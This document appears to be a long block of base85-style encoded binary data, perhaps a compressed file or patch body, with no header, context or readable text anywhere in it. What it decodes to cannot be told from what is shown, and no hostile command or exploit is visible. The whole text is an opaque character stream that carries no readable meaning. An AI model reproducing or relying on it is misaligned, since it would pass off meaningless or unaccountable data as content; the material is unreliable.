zRdQ7)(8E-OGUS9iW_0SVB0ZIr^Zx^AgV#AV)VqyVJvh&vcF%cX!WqLV?pq4{tezR{ zC7>e79%L>&hSFQNPYoB}-z>jhu!Wo|wWXdNc9;$M3Tj;yb@6#E54->UgeommZeq}t z60K+l2s<-&`qh#<07M4GNBg|(d*6ez517s&|2X@m;xUc_XMIQdO9k&xhR-E;>56aAI zji@uaP_zOaU7HlOW!vY$J)hj@as??~1D;-kS*_`lh#7;a0O++SREzpMYHncfnB>Pf zrxn1DL2y{F$0J6z2(Fw1{aDR>Xbioour+@ z#8TER9eo7)E)=t@@^*WxQK%p4aw16k)%sRA_g$ls;_5dpX%WMn8T83TkTS_ge1Gwu zDvzCrucf@QmU?R&tor;>JM?;hU;L2#({&GRbZ!NK7I3dsQR{4crc`dLo^!LvHO7S9 zZF;?JX7AB2o}@RR`Jmh#nSok_O;}{4y6Ou0H%+1cUPZ{<;E(qs`rhcHpB94yj#tc# z$ddD3s~e`q4X`Na&C~!BBZq|suyB?WvScVnP)TYka4YZ%^iErs6C2(=sXrDhzQZ1c zvnJEAVt_>LNWE`B8&lDFzuG}``7<`2-5|Tl_=450z`#3lyL)4zK{Np4r*>QUze+(E zOauVqm%X>ciLWh+W>sJjoM>C%tJ~cv6nP>m6ZvkU3iMbG?W}r)MOZ}nam8m2C|+*Y zsh#p$aQ+9Sq>l7`_HV0*OoHQGp-zlG?V$}v$*CG&hkx(J_x&B_NK25$4kN}B4v{0Y zcCQ&ADrW^MS%yiMcC8f3%U@v&9ENucaYw!Xa17ZjMSzi9i8B9#u*gmZB=RFrz}OdVR>iY4 zB9Uirkfb4=DpLGT2os$|fHp8%LmB>SA%P|>U-b=mflry&b)yjJ2ER*?E^MCB#^3-& zk}-XEeW*7Z*UyXp!rog(MfJ7+!zuy_2ug>5sC0LOf}nJFN_TgPG|YfX!%)&K(%pm9 z(B0kL4DmmJ-}}DT`rqsM{oXw5dGox}HHR~E_TJ~(*Y$~Oe>vxmjhi07F&^0zY)X#7 zrslogg0RAkPatu<+*yz7@gbilg~=5`GnsTw`;C<>4Sl5oQTD`30>)o2T=n}EUZ@0- ztHpLFA*C63#QFrc4#j`PCpFS-u3XshiyCPex98?%b5mkn<>_3v5}Q5m58CT=U;TXg zrc^f2`qXu%c$PajV|-|Sl1*I4CibD3Y2nwUygk$mz_H>9f~gH0M#t^&Hf{w|@EN-y;TnXoTHlFB2E7WU#JV-6`k zPl_X7Ma8z2mp}Qr(TteLA;5SxAM~ zVz1d8KQJcVVSD1)`(ar#%MK`Ewb@) zu?%(2L_*J0{3tq2JqFuHdIJc^gl3I@-AIvY01i+82zcd>c79b~k5k;=gsx-bGaVM~ z=+e&R+@!Lg{yzBCO&<9Yfni@cVIhn@?4^oM;JdWgh~&toq~50j5!9U~*$d|k<+G*h zJcz$MyCh+yZ-y_9UgnXvDuq!t2rwpuSM$ng}8Q>FXT$U0GF-k!!caquVR!V zWj`;ED@V>jIb3>i3#ePO`(jrYmWXX?&cSJ}Tj0sF68mxFnw2nHX?>Dw+pa%ioSXSY zle%o*Zayz3uZ9&5n%9YX!7;l-lMC|4CZ3Mt3MvG3sEtg#o>Pvm2|p}`{uT$-z29D9 zAF_=rd2A@X-2uP4fTPKxiOs&BzC<_cZdqlWqmclcekwt4LP?p17%@GXxd>53&}{c_ zm`TzQ?3HwQHc2x3Zhh(Hixt-GqRDtI zYr{XnUh0l;KpzZ*v&v4y#1WB@mgwdyZaEM?;x%8^GhZS4#JasgktbHv!AtXX3eUsbmDB&V$H~I>%V+vA=x(_F%~-<#3b+#?ks%TF3S4( zY*DWHnt~52O*JBXIk%)U79npjYO``ia7=7ihewY&i+9pwY9Q`;+Rx{XNO=)r&G{eC z`xq4E)m)31QF{!{^S^m~e$LzU0}}wLe9!;7)kd z@Xdk125s-#$l#rF} zkR9Rn$H)2J|Gdt{w4i9^*bPp)!0M7NNo+#W;MtfWE}3dFFXli4LafT?p)455!%TZ^ zsH7W1G>!38L5-$$iLPCp_hI+LO0kE&`p;p+X$~GMt4wiFzKbPdeTvk;k)<%(9~_aI zIvQGw@a~ss;x*i0lFDaZ@OsecdvYW0b`qC}2H*0bI7UHY-+&E2MPc}9SGCzqHc>qj zvX6{*D2s-Is3{vE?`k$6s9WM0HSMNNWL1I@`R5)^zvFe;OW8R#YA8SK;heRh`gM6Y zhbu0jg7J}qyPKPl2_FBbO9`3G@43*EVwd`c%ZK*%_NWu>{b?VoZm!`aP(LBE>gwui zzqs1i_2j}$Q)^NB4*aiCD_2Qg%?bInml;`bbbQpvI*P=H_cy6UiDz-B_?0Q5Www8L znRAI}i6!&|_~_>sWy3(-DhStDd8_>r>fOcPr*kCT;ivf9jKZ&bTS)_FBK^5*@aI?@o#5pt3Ssv!C2I)ca_d zb?IP^`c&=++$xe1Dl$T9q-O`AFYd0^W49Y3>+?j8-5zUNhjEOImdQ;FU|fg!AvMTL zDzUy1=6AqKcYiIchQds*#s4xj=Gf6lEpc^x^847FO7P!%l*#WrU#oQ8tRl84kI_K} zTTZx;?m`fId!36FxHH2dD9s2=Oc%fF>ljkeI-}tqUK9y(Vb4D26FGgnHLb8pC3^Qr zLBrynpMU3Su~~f`+-)No<#9Z7LKqs*9ByZ-(iepWo;gm-9sunFmcpn@6Sou5&bk(f zU?&t#Z?W~|7bq@FFO^8&xVE;ca0E!^5#_bs57YNxx6W_QZ%8tq_=5s(H{AervObwu zyISqGSdrrgGg8m%qt6S4s`00tzgW2~n2I>oL1w1of1pIsB7K=IK)dva6s0v%z(VL) zB(-Z@8`^J@1s2NjAU>bbn_CP@ z!>2zpb|NX^Hwv0l+q3X$ltcSwQ>LRI^dkewxDMQiST}v1O}>EOA}o3DfFkLK%Zf@5 z7tNT56T0RtzG1CnAjtlmC8@Jk*)HQzdl-ya?lZdcH{!8(VA?Sc_vtteJqt|Fg%}A+|R}QTX@k zSdq&43ES)1gBjPcX~KjSog%Z$NgdewX}-tV6tllUf$KNZa?-L`U?+Z%;MFZ{FJWf( zOUxaCJ0J6(S(s?@MRv3fTlcO%Um-$A1es42BbBc^ z7;9McJd`Mm?FO%(mBv-+X%jdfj_B}=C6hU>I2aSbzgFpc5tkypuz%*| zZOSzESll>hjSlk90x#m-8zO&q0k>xS;-db!$p^^N5GCF_-w)$rt{GmXxqvQw^Q%{H3M$``G1I&`_giUNfH)weEn$86=Bk}Ct6nAo+51rz{hfq5Kj_RyO z8=;Ft4BGFB5}koPrRZ3whcM_vp8$A;IHCj+U}iJPffknPpV&?nV?4~wgOHWke*o&J z^bVO@FZeb!qSNRu_ax`I8lmZV{4uw}9TKn05^0}hKTeGf|I7u-jRw9^ukM1($>N#HEftj zmedD=#8{2-vJM#5{-+on2*=CA^Xd$=88DvF^WCni+E4VyQSizvJ5u#!29t*F-smzT z#JMTs22Mb5oVI37VG2U6lBUasEYNn@x)9*SDiq!-H zg|H{S$_JG03!ETl>Q;mcDieTRX04teyI~eCgumSU_OuD))QaOOuctY)w#KM5s^)$eE@7#)B{=MKk^H3@T&|DBrTxXFW5myE+P22}W=v=J#U$Ma^5VIje+JVgT0TBKvhf>Y%OAV;77)K3 zyc1&Ga{Z6cYSncaaI)j?16KjR-~>Y<7+`9EH*!pt&I~FVVQE#w!?f!R<7>}Z!TEhtOXW9IU%kPckQv* z=U5VXVp#eaZ_fox7t{h4ZCx|xATP(7br&7aY~EOc<-WG(&OOb}uSLXO%@0qEvNHH2 z3ACN+<_zZ4Z0bO5+Y=*T6ku-aMaQEY;$A*}$Q5zMqyoC`esXb*xshBOGs@sC9Z|*4 z{Y-qh?i0N^Dx>1glHf}yc4ym7jmV}i!;_D$OHHpCt~^O-QXDK_=&~K@nF>UI@)I_d z7tVKh0|0N6*Ek7Uk)mmuwcHpH&Mu`tAD^1&O?>;#qATI-6RF@$t~pR3ayOEGo9rfv`2C;1d+!Fo+;_+!MpZ7Rrsyn z?bs)Fa*97c}ze8P6^ zOXKB0NprP@A#_ZlI~YFxlsYkWqi30EpZ!gCxclB2FaBLfOI1y*nGDo-ROV(_mbIX)=cNV^kI6%`%2Mw=d&iBvxBu zvp$_>aA(CwF^qVtXgzHvT+OIa@H32j#q{3u>&k+ro9-vOC86##;Dh{F2}aK1ZJS#3 znb{LomlfNcoGJWJ*PG=7KYVghfp<6aML0|9r;B2;r59U?81!tfi-|Y zSy<~DofoQoQ?eUOAe6kta!r!|>S$8z#Ik6~8gHveCbA;ow2cR|msGH0KXR1G9qmC9 zP@*?TWjFEB~8Pv2~4$z50pf$Id4 zP~zj3WE)MstX1y8r%Ok*=f_MIIIJB4X1;6(R*xWZ7Ko;OXJF&yHom-4j~pk&W8cgS zo&v=fE@6bXd1;bbWv}Fn>}L|#OCl$*`#&hvbdZhg!_a)(ue9F;%i$6 z-OO!la_rSyEaWdzE9#->S-!AAt_R127Il9z&7t-!dw|01ETZl7y}vlFd!$i0SPVx3 zF`kVOdQnC-^wud_QSV@3TzAUxj4$W?s*|rd(xbsIsFzkImCw)#y{eCEvx`Z4c+fX_ zD|bGM&Q)}AdXed5uxpsI_tHlgA*YnhI|;RLsek}K$RE!cS?_LRF&=g zradfK(EzcTQ_TO)ZE`wik0xIQ|3_7-I6%+p{E`70A{3>hQr*~czDHQk8 zzWKVK_$hSyn<9@RWb3y6a6x{10!iKt0sH>i34nO@uCal%5<+%cq6yO$GtCr85Ns(g zOxcLK);A!VmABx`R9Gb2F9+#{(RQW>%X{P0Go&~1v@o+gMPv7A{Y6!~?zd5TlbTzd zEkd`e;X2Q6rXWO%dt~fS!ftd^QjyEd#K}C&PqYpydcBF}QsEI(*Y3kW# z3GIC0*F>c1ca{)>7zRV?59FB-XhzgcQRS{z^gj3{TpK?Yw=~7TDI?mm3k|nWSz=ouz%K)slXan(!Z`RX(zakK%p-Dnkg8|I zC~fpoG87?85y6GNoc9r-9Ft&RhqLzYXr-Eml~M8N2A;^HGi~dx<#|_xhnf({i=>qxx$F7_ zmPF3+S9ah2(E_~NzD4D_9cOIRS8Eavc^}tkR51?`y1Vd5bp~+Ew8N_F&!Tj_k>4zF z4$7wDKkHHs+sg4xY02xz1k$FkE$Imt4$rL;t%5CnAhAjxUAZDz%yqRGc{BTFYnhKR z&bCD*tFhs`*%wOleOc+n2rKQ5RcX}L9V&x}AfLGxW7{wBqCooyj-58f_Aobl9*y8Z;^hfd~joKF~<2a5QCbRZj z?WTg|f`iAKy~hj3%<*W(mDNlI1ef8ep!I*Bu* zr>Sh%+pg~(nlv{2+%pm5Go;!-sq8o@o09#F^mJI)ZWiO9s63P;># zGGE6nRG5I>!)jkRHlB2LiDx94=uE3OBk9?jpl-t+ zSV76A4$1nOPPCPaSt8UXuRXvHA#OD&9ryPfc?qVfW`{Q4ZDEE9t{sF!c`Cde&fO__cz8DG@vc`{0A4q5;Lh1ZNM@96s-d!wDh zfC!%1D~R)xfu$JZpD*Tzb;_7$hFe}xuJZt;>3Gu!y%jDCE?HbZ{^@>uE?Ikyq-ff? zhmbETxg|6mjviZVs-3m}8Hpl(%-TsZX}ZMMCWZC7+OH5RGdh<>m({`fWbkZ?!HF17 zSR~)#u^(nm{u`>}G5`Yq*^qxqhH1Zn_gcj)xc^ML`@Kv8W`wUOGb4Xhc#NVR7GW1` zBh5b44C5R5RkJwWSAsB|`gjLA(Fxgu#Ndo?n{~gmTV^#9^Vq;%QTRB7hiDK&{deRX z>mPezXP+gyEz7dj*061pLm>!y<}@P@%w0N@Av5~v&&X%vR8gu1Jn~2Pij)^AdcrHj zCEt7SVqgpR@I4mV56}^!`7YkwnKA0t6W|s7($zl}1h0_yQAN1kNT=Ns760bN>MU7r zDoiMM6zZIk`Ivw8kJfRHfFrFZ%_KuXZ@8sJpPrrFwHgho)TRRW?I=@ZCv)QRq)&u9r$XLJTBGiC&@kRFBdi3wT9F+SefD{MKfRiNR0ahlnmm}zfM-9H<%UzBxH%%Jz~>A7zl0w{%s1>wLSO(?A% z;o&8%_{roLaF4z@{J=;1-qw#_`{kFWCRD_=5q3iq>qW>#JNQ`T_Gnqg0Nr&%y3FxWt&YBex?*3FS+0G2`~40pU9eYA(WKMib@tV0QwfJGiPdhyiSOs}zAkeJhZOS}iCLb<+&UAc)+b8BBv zDpXGkP3J}YD~>U|fvoXc0Ii4OPn0z&U%RQ3jX`!)9W{6#KtLh~&oaXclAo~(`PKL8 z-XsW=$NN^GQl8q9hr9nmI^Ur;U_ba(QWr5EMhw}puop69ZVeL$@WYo%6lo}<*Cg< zYMs!M5ZSCh+i)68O;Q4-h$Su>duOOon)y6UXuIxH`zLl3tvY8PW|$?FT7+E!f7E^& zfG`&aOAJh-2%er27*VfKPln|2h_H>shmYdQ#XHc>)ZYw*VAACCO@?4jjUnxh|6~VH z4e>BM}JcKrsLEaEjT;E|oY{%B0Xz)$(J9?I{H_f;-pLO`$kutY z6K3CoUC%s_G!1i@pP7!3sTvgT+VupeE~>Y;F`A9MT>`qfk6NaTf0n$SJyqoHbqrbU zRt#PR3yqvx{hCt?*aB);5^no1YLoZ~p9Ep=Om&Q`Ts*qJ7Rwh8IzHLTj|we_vwqc6 znvjssQV{hWj4r+yOo0>tG7{(N6I(3fK;mdmF3+p$QB@kBZF<&FH`Iy~y;#Eh-dRRZ zU-?b*+2gI*XVauaJ%01yAD_Y#_9Q`iQUcL=FdBXI{4kZmMYkJWN+s|0pf+HR(`+S- zg+L)fLj?KK6i-V?mW69%#SEA0pmc081qGt&LBlE1aq)xtZP3Aw*G?`N$B@r^dt&v1 z7PO6!oq-LHvkOszT0WF_Yts}PMd+-RB%ZzTKzO(o;S7rN zBT5xMCi>Fbl*Pg>)?Qop zgdH(D5B(0ci)%%q0Gh>rQPNW`*=6)@oSK^YdSZLDCb!dYbDhteDjQT-SSa|Jg3;(A zYtwBaK~91tKsUp+AuD;0f|k*H{T5z*WLP9-d=CfG6@AS_o2JhrF}DACL5_g|jhef7CqT(twav^5PxBZ^x19z%TcKOv9=iXJiczwMUfw?5us zm{VG~8N%OcFDCU0@T-Q79Er{ni$LQJv`6$6RgdcG{U^fj=!Z&L>{{VH8)0^ts@**i z8_+|0HCq6Un{^SQEqZY!ytmCKTWfc657_R|AZ`P^!C5d7kjp}WjRYW+Zq)vK{g7*o z>R{L)3%{oqoc%?_2x#c3AN}T}bCf}}9-1ut^zrpe7W+}hkhA4Mjd2cFe*v0>^^g4o zZZc9>#oLtJ{2lels@(rs;0ueH3XY#dTviNRm}wVPkW4S6HNMrstrW;DO&EM0>vY{J z^3N00V3!J~yjb>Tm}$~jTyeZ1u747Mxr40=f<5rS#$S{G@uGS)B#aVa67}AeM_^bV zQLNFx*4t8!sW9i4d^l{Z9jRaX&wrf^YA3K6HQm;9CJv-13E-0p6cTizXXl#mU{C-T zTf94(Pd`EIYT7%hO0Sn063A^v3I=h*D+ zBMY~6YeT}clqz^IDRBg=AA(&Oq$!{#^BsNx4Wg0WqWQeo!CNYGltm(O8A0$7 z?pYZM00WdO3FwyJHPgLh&c2_<7vGf<^ zo+vJyz>`~HDZFmbj?fg6kC!`g5_0QXs(>EuY9Plh6ZpnPIAMvob<{?v=I_ zRC5vEvkPRbmzucV<}1NgDCf{Nj=I49D*b}54(G=VfRmQ8Ia}Q=*Vc{2Y~d8<-o_ke zq?gc}ywvzCGmgEzwYRI?4a*6v*2ZiLSoUXk6|&((uXq|WMiw->hVX8b^bj?EM1^Fn z?u?Q20IGvs-$KxSoMJvZ679{Vk%#D;*Y?Gt9s($3q>Ivxgp1N&rYByDN9;VgN92p; zZ)dq^@}0Xct)Yf}PyAS{&zb52&W3%i$qG+F<@QIT;lEgb#`9N8OS*!b)~pg2Fra~R zeA5$`Oe<&#zKlR3t8kYda-}Lke1I}Yu#RP z^uD+<={_9oH6B}`O&iuh!l!+G3RCJ+Ur2$WpQODYe-4><7I3dy$Pv}?;z4>g%(on# zMRX;rY>IpLw1Sd|fL;Jq#_kgtKQz9R)m>H|nXD?m)Yn${rJX8i)RjRv7=AEVobQaF zs6%?sGekH40Fm9ZfEap}O|wm(Y9{4C z@@h&wAhhE?sc$>Mm->pO4#zfr+9RWJjyrt4GhrkGd)%RN8H<_ctIH7dBdi%k340|k zW^vfW24uZXHn_u8(h>4u8vqWRHzBf^Ni9T* z!OA2Dl%b}Cvoy@oVBmiblX@`d=qSLqPvH4lg$tgqQA%=a7wL6t%|EP7c;!JqnTQ+}tEf!#ZJ3GV+J%jr z{1Z6^V|~_mgK5Z465S%5qTUastJs3Zs5~_&@n0q~h&*PLPWYBS?RH4?BwZyfk>{Tr z?$pl2KjX4rR3fLKXT_m9sogKC5|S7HCJxG-E||jKn1{+@lo0a*V88rsZg#7|;&f2f zbLRVZw}U&$Fo+U^X_GO$7cF8Z*D);isAQ53X2B}m_1g%ubA$?pohCn02o&^8ZI$P$ z05LMI9Cqn}2XIdKav(VYhRJS;k(3#tga{-3&KD(-yD@hQT~&R9_-mhI^OkOdcSy_z z57%b^qVYo#dO*Xx@@_z?V2&XZ1VmZ6sKehnkH zg!7)uPVD#nOKo8=*){*1e$mYfb^HZS|5z-Pc0*5&aw}T|f}PlZjZIb(ivdgk&~@zx z2>dda;Fbgpa2Dd12mxDmaTywmBa))t@83vT2@1cVnHTw+%cW76>6j%0s;pRsL}&l7 zm(dWrz;|z&X?GI?rwfX!PLFeqs;`y-3@nyIp4^B$gg!mm@H1;vEToob-zG`7Q_o1} z1q)GE4YuBarR?U=KC(CWd}EFudct6=0pSa6*Mj7|ObVpxg~4ANmFM~~#n3O}_W}V` zw=n2)lO{oh&WA?4Zk7F?EhMxHRLDg|4sshU%$A|Dv;a#G6|1Rd4sN4E_?U9esNB1{aC1E=d9*a`{_-GFr2kYw{Fm7D?@$+k?sFdi^J4!^xq9spe+44d z)S1Ldl#S!;Lo2l7)|+wV0j+hX|5wP{?#)<~sDwI4?DxI*wGe^@qb< z`}HlU7q?gVYaN%d3&I)`rM>M(+Urd+xDN~6{Ub-ykT+xevxYQ?89r5WYNR04mD|E_DV}4r1rjM zn0{ne$;Qh>AB8~^SE#|1pvc~l@+YfJ#<@Bwzah72AKfQC7Z7SMbUaOr!%Nl#hopXf zoLV`ZR=lR?2#5>{`I@lZ=a6kfK$5VzIYDK)PFY*SJ}+(!>?sIdYXJ4oww(pW@PLK% z=PWMCBE#3S`e}*^ktcrZY|CUaf7qkjnl3pg5?$3_Qbh)CaIj%R9}^{SoVa;;y6mN$ z9(~d2Ii*mAQDBExscCLGbW@df!V6!06CdU$uy;MmM-#6&@UCy(5u8kcM zhI*;tL-1<@JJv7R>XqU77+tb38H(k5YGDAigd->b4mHv|kZ7$nrym0UQ#9AK^n@r@}lB_13Ag&El`&*-69ADkt zxP;6Il`U=rNi%@t1PzYPG+F#cUn~D83);&wE~8PaEtW_ZwfIOMA|mAaz}V8;eTN6U zYiW?8A1DVk@ALfm6l2vjXQvnPsUn;lRDLgqQZ?x-?LAgh zo_Q2vKhh2p=VW=CsrZm@C83q5aBj(8?<^gJmmIrb92knV0XevM01@+ur4{uydhF@_ z^jK!5%RELft79q&f|PLpEcY^hJR0W%QgnTk<%OH+pU3a<{L=UibYH|=3t-^LR+m3v zB6KTeBb9jDoXVC%rd<7fUb@rrCZvZ!JWY;a1`^o8%cm~))t!ym^3NxNUl}#;I;r_p zKsz~e;J}r2e#ZozvuT%}?G95}YPguaW{%-~g~bEv5YZ=*2Dg!V^F-tSDs269c=oZ@ zi-&>LABwn{`OqJK68=IWSWH~MKS=16nSh{zr+xdFA&oin5}kPo>d#xkK`}BVoFe0K zPHT4Law+T^vxrzmersv23y1v59=Ef5Pe z=_SR3MQ`)0v0d-@XnoPeA?iDQn5vHPP{$`zGsE<&JXK1A+rSb|E?``apv^)A*wB*5 zs`L*mG_aC_y-tu*-7tQww{Q7H!eozE>|)R2UktVLyIc~Z-G;Pj*?idac1tnOoegc- zp`x^HruP;%7(<;HYHhT?Vk_6of`6c&wwB(PmJn>W>1B$;fnWqE@y5W^%r9ftZG9a=$SVvuVd;U z?qFqmw7h9UHuHV_v=uE?#)-fiL;3l|_FH(l%0UGx0QPrI_Q3UsgKzaZE}iDF{74Ua zseEI=(vAG2@rm&*Z}@If`(;(!7|V554(9XJ+7$pYO3@`u*7GSw5&Xq*A(ba*DpZ?P z2C+xdj!Kv99Z+3eSxuN1*;ugICUEiyTQ{BvYi)i_P)_UrgcqL(VZHXE@3a7i#ybvv zu!45690a!O2^L~-Djq7zd)l=w!Vx7if+NaV;sJh9Cv;7KKd}<_SGxmZ1uJQ zaK$q%Pur1wY#L_7;_@ez2(!?xHWj1v(xJ#E^#}g3HLn?K{;Z8j8ky_nwWfz;Jdz@O zrhlc5ZHCD!LBs62Z^5*~F!Vqeq5j^Jb3i0H-1Hid-zOmNywduS}&h&b?=So8GF zo4v_pqK0op1Mvl=@vG5dB?x^JHoU2yA+(~)aP%bs>ukuTA}o$(6?d5D<^dg*;io$( zoHUmW&Bz}T?vc+R`V`0&B}mO(bb^?o)s1uEEx8;yrRSOIx52H(RU0~A5!7q$&o?7u zj~A^z(IoOnJ8jK50Noof-C@1XZP53s&cf0S#twwgLaDaX&l2E%TZJ;}aGy%7E4Fy> zvV$YcQIp4N#?9)ZIH4*}*6gM}{ujHmE$rQJ?;afEGNs&-x}9QMI&PyM;>DH>PRpOk zfYsn|qa?Je4D?tvw^-_N?$Yg5;j^}c+ZYR_Y3skaaYU-ssF#@fTp8_FG9S-O5!y~u zfHfpKvl+$8143)uI-`QFC|NS?R758 zT!Kf*icX;zTwHQ9CJktZC0?8slAcabMcBb4DR=r+9wfiRbZ8kZ1TgR2 zCTj`nJfjEU{i4FR5_mK_M@3~{qDq9(->pW$9qP(-I8@i%e(8Xh0e^VWt_G~;emM*s z3k!|de^`rq3)fJ^Cbul{GOBguPCu9um%8n)XTG~|#5XzYbqD2m%GkG3dCyA4!H80v z3Kh7GS9q+s3J#}X=fq!ciz_oQKVKpRaGKDrzOk0hrTDJ~-xmi7rrENf07Kf3CqwW1 z=7$Xw?#gdUOTGkwlkr03lO!PW445B!g#*$aj?M48FHY=|V!A8m^AzT0Ke0DPl(|r4 z?Tc|1E!k%w>N#Wo?r_sosxg^Lx2rG;k)^u+6C^XM)+v?>!@ZT-Z`7|W$)*1@i2!8x3n>7@kCr$$m3;)ys<2Qv1*^s5$bCA@XX$A5;8+7hZ! z-y%-Xsg%5}VKmn*^E>m;?Y0&g%51JoQKD}$Gy{<-P&p~-(aD#RfZa6 zk(bX#N?ngfs=R-4?WMiN+Yw5j&6|ObI8t!*5la9ir{dOVMtfXUd35T^Hm4)!Qu;QD zCDO%x$^fozMWu%DeLbI=L;Fb@;Oo+i})e79}=?x{6+wlOU6!$?15MtW+s;_%&f=5K1pXWhFgY1QXe)H)U`z{an}pR``GlLixu#&Y!pr4 z?{3ToMK~nh)w-LwoTvn$-?~je@H744Z;Of)Y5g7osZDV|IP?LKrhAO7Xz+{)0ZVF& zla~T0;@)%h5qN6}jXqV7P{R2|P|XWB^{~RL3G)Q2*wFa6ze=PG`Ogop&l#vqXzh$TQareC zEUC_6t@3}4wN;DecMIa(Wxo8Q1%N5Vi#CXZP{6K8(qQHk%!H#fW8=$T`K!4Ynlp-n4hWS*+#6iYmjHYs!v1?Ni`yQlp+-P~gyv|5iP$H~WND_Lbk@GJ9p||4zj>{YJPYrRr6tksdV5*BYURi~&N%l*H z7mCT%Q36qxF(a$(92_Rh+}t;GQU007Igr~C#~SJ-3QY>B6r$^BHaKC!CtqwqlYE;w zg57#MiclP9%KTCiSW?$`YCj;y8d)g*(|Z_p1rwv|$wZ&c zl)L!af+j0rkMmZ?UxzAVk!4fg0rn%QqT6Bip^*&RJojXm8)f3dFQ`DKJ?E)s=A!_b z>B?YYV>i-%N6WFj8i$N)_%2t0=D45Ah)z;3SBmAZ)9a=S8d-4KnrY<;@uIa{Yp&CT zZn%&~S<3~>{eai~Dj~d5H^j0IGI4yEUKW@^B&h{Ftay~ZJjTUr430Q9oL zK4%S_k6s7?Tx`!|x85@&={qjgASsT@1;;qM*sFH-iROIh8X?J*=^Y{48lOt>gN@3; z@;mpL60?#206)(D9m;`yi*gv7k>^T+^*@H$uc|8Ls*$F#)}nJ-q=lhg?`-8)VjYb9T|@=u1t(MqrnBQ4vM5?>RV z_p}2#R;g+n>sfD8k*7GyNtPl{tt@;`E&AgDKF%eqIANA6zI~<=EXW(<`OACT5g2Zo@`>g)45W@ocM^+hCa4u4F zy1dpgq9JK*Vd5BW3E7pQq}th{hTaEl-;RifdUjKwd>#S_g};Yl1K2j7)BPTEt}+tN zw=Gy)z+*SZJXncX-{k1qVxqX&b^s&hO(GB5AYd0I@t}_2?rZB@3p7-T}io6h!#_j zb}1Q0F(WIt(~jEKdH;&YZE$GS1B`k7l^LvLq9SA)Xv&lkern+dsao0TzYnzaapSv2 zl;6;|n#pEK_N*7{Ev~=u=B*8MgE6_By`3d3$I+E`Hgy#6@JvI~CP934WQBFC5=b!h z!~5!R;XJH;EL$+9;_7kzmj6)V)=9I>W|k7}ppD6M{n0(Ry$GH_OtVrKqU1k8M4 zWloP`5o{tJA+^7P@QSXV0f!y3fL)I|c%hO)7zG`~i*GHds_M(Dp{H@&qESGV&u>F? zdE!a1>nq-E2jV|F7-Tldmj3ic5U}D$$zcFQb0H!SU|7OYxlGH2F@3$5n0KDhk&NED~ykNOAU$($>)GvND6mP9h*l2D38xkpC?3 zQ`1Y6E#P9;8m6A?MWY(wR{L_gKNwLpNtGsgOrJ>ddM~{G=Lxh>Cdm4N4g~Rb=L&2O zt8dVC9t%HpMxhfmejtDX+9!u5A~wtd9+Y74>TP)>YP|MLlGW4+Q=Q1FofrMDs&>so z6>eH2MOboI)3H@!`1gpqdm>^4f&)AXuKsiK2XQ1&3j6_ zRo>nquu**3b;xiw-i`7d@WK{1I`GvS(Qd1%Y==_W6R6zi6p1mAQTI@}@sjbI9B3?_ zpB5l=AAsI>i`4|b5i6d_lagA&VZrIJTJXw?ZRLD( zmDS=fs(*tK0fh72eU-+9-d5Ha8Qvd+`2@Ddn_Q>8ub6gc2{lVPXdeVeyGI!%zW(O* z<&FXP^Vj(4R)XXSI6q&afav9-EPP|q#E2i?zsft9vpUybs;a6Gw-?v?)26&{uGI8} zQlD#SX?ZutHd8DDho>Do^y>Uz{%gbviW2+x%a2GbEK4N~1c&?ZvGj50Kb)HXTaIE; zE#NjMz7RYR?X~C3 zG_d1@ou;V#Z@=daKF+`Fo{7A@B^7Cb0Mf3fxL#>`?aG~n09fdU2Q;H}KtD>#d5ql{ z74_^$6o@GUdB$V}!6Wq>ZYc$EiT@&g{=**1>7=Adw7ZyCGIxH?;6ww>j#6sxz$!y4 zE#3c9Tyzj7=eVG&v5@FLM_o;+yPL%Gk-76$ziS%O*AArMfE3Ok9$Fy|Qn*dXzZf4P zpoWSq-j=o$(;a<4UDR}@|JPzzTspM-TyguSEfz!o%NlzV=%?^ZRppnG9<~YE{$}-- z>026R+TmM%@s_S5N!=~UDNQ7gij8V^3vWq&W^6I`*FqYUku^iMXVuz*o%(HGw#aN{ zN|yHV#Z!f_(L8*66_*FQ6i;-zoL1kHQ$$6f7_fr^1xcjD01;tF=&tFBb^Om7$}TR{ zs8|CfK_gn5WwU5oWSW0C&}H^6KsVpb&8lTQ+kW1juh{EU_B)0eNdPwGq7*FFC5afq zZ+&TA_$?A34AabCuyjLhK70Eg>!-W!(V344yX`iNOVs=&?Af+ z1;_z4X?~pFZ}t!+J(lrf1A3B7e9q)7<_}D!Ab@UXfq$8=)-F8bt?XA?<-51wUcSn4 zesWtD!n_1)4SJ_5vYzI&=IioK@&Xdo6;n>&M#b_zy2u~9X%9F9x^pCZZo4&jn4<0P z`cRKuJ)uVp5_?fCjXzdR-bIY|&rB>0@jhPJVukRxKb>3w94w#pBI|A2VsXTQlO+la zzvZMBVMau;uT4OH40|bE{|7r-qvHkzVjzSAFx@sTQKVGK>(%FCUq=v4X3-f$U zk!{`euMIe&ovHt(w23^|bBvTPxuW_$D}Xx`qk*bTdy}#@C-~vyti#l0ahEEf?!6xl zI{uHeIOhKsRf+@(&{Y~hsdDPbdsLDWMI>A>rc$mH+@YjwaVt9;EvLA=`s*vrU+hvI zDRFmd{2-_=Hpvdk5jlmMuX`2p8B5v&cICw?ofd~8*r$*Rj;nHZ)e|Mz7Y67Tlwx2=~k>gywif6%M%_2y$tblPhUF5}go z4BM$R6-UV$18Uf-%49tLk!Y3~tCQ{G>Y1JQ$pHb9H!p(Na>&+S5!}FCx>OANar2@l02^E7D5YFhsVu0Y3)pdR=bF=qj%8LZ1poiJt`gJ%+65n5kE= zL~NDd*3ot>;_(8FS$2-4t#kPjy=fef#FYIF^363GScOOB4#!M$fjiOVs#9JQXN{}* z_yAyx?)WR&i?HAT2-@`U;cEjz;m5trGyJqSW)1?PVUEA*3+ao{NA1+80p1zrt+TT# zVwO`h)y^LU@1t>k4>$BG&u6E7&)KJ#$iB24j{z;Q=;dm#<{8T}%09<_EIkX`Qks^9K?6l@; zd9*>(&7Xw8&LqtK{5@){BS|gd@$ednF>~j#++!T`xdpUJ&2K9JQJD5tFV8+{S0r_< zvatat_Fh+Lvz&ucA zgQqh;!x6}-*)?fwG*;d-b<(Y(SP$p2W^9f!dQdJie;8>?tt!pL=iBRS{vGAwp}NKg zQ-=V?*XC3j=2nN1vTn@Hc%j2jR8^WeMv09Idu*wz11u9_vObrx7+QO*V>b!6i6RVM z3YcfG(-=k(E$8FK&xC z*qc^_THj254|}@TvF|KBL8bk$NX3pu(eD3L_SI2QcG2D_3L;3pASp@-(lvBQiVUCv z(&11d-7&z3ARUfFr$~t)L+4Nu!_Xnk&|O1G%iKYI@A|&`-Fw&io`2@7XPwz6_I`H! 